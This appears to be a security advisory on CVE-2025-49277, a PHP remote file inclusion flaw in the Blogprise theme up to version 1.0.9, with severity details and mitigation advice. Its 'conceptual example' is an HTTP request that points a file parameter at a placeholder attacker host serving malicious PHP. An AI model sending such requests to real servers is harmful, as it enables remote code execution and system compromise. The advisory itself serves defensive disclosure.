CVE-2025-49277: PHP Remote File Inclusion Vulnerability in Unfoldwp Blogprise

Overview

A significant vulnerability, CVE-2025-49277, has been identified in the PHP program of Unfoldwp Blogprise. This vulnerability allows PHP Remote File Inclusion (RFI) to occur due to improper control of filename for Include/Require statement in PHP program. It affects all versions up to 1.0.9 of the Blogprise software. The potential impact of this vulnerability is significant, potentially leading to system compromise or data leakage. Thus, it is crucial for system administrators and cybersecurity professionals to understand the nature of this vulnerability, its potential impacts, and the necessary mitigation steps.

Vulnerability Summary

CVE ID: CVE-2025-49277
Severity: High (8.1/10)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Unfoldwp Blogprise | Up to 1.0.9

How the Exploit Works

The exploit works by taking advantage of the improper control of filename for Include/Require statement in PHP program of Unfoldwp Blogprise. An attacker can include a file from a remote server that contains malicious PHP code. When the file is included, the PHP code will be executed by the server. This could potentially allow an attacker to execute arbitrary commands or code, compromise the system, or cause a denial of service.

Conceptual Example Code

Here’s a conceptual example of how this vulnerability might be exploited:

POST /vulnerable/endpoint.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
file=http://attacker.com/malicious.php

In this example, the `file` parameter is used in an include statement in the `endpoint.php` file. The attacker has pointed it to `malicious.php` on their server, which contains the malicious code to be executed on the target server.

Recommended Mitigation Steps

To mitigate the risks associated with this vulnerability, the first step is to apply the vendor patch. If the patch is not immediately available or cannot be applied in a timely manner, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) could serve as a temporary mitigation measure. These systems can detect and block attempts to exploit this vulnerability. However, they should not be considered a long-term solution and the vendor patch should be applied as soon as it is available.
In addition to these mitigation techniques, it is also recommended to restrict access to the application to trusted networks. Limiting the interfaces and users that can interact with your server reduces the potential attack surface. Furthermore, regular audits and monitoring for unusual activity can help identify potential exploits early and limit their impact.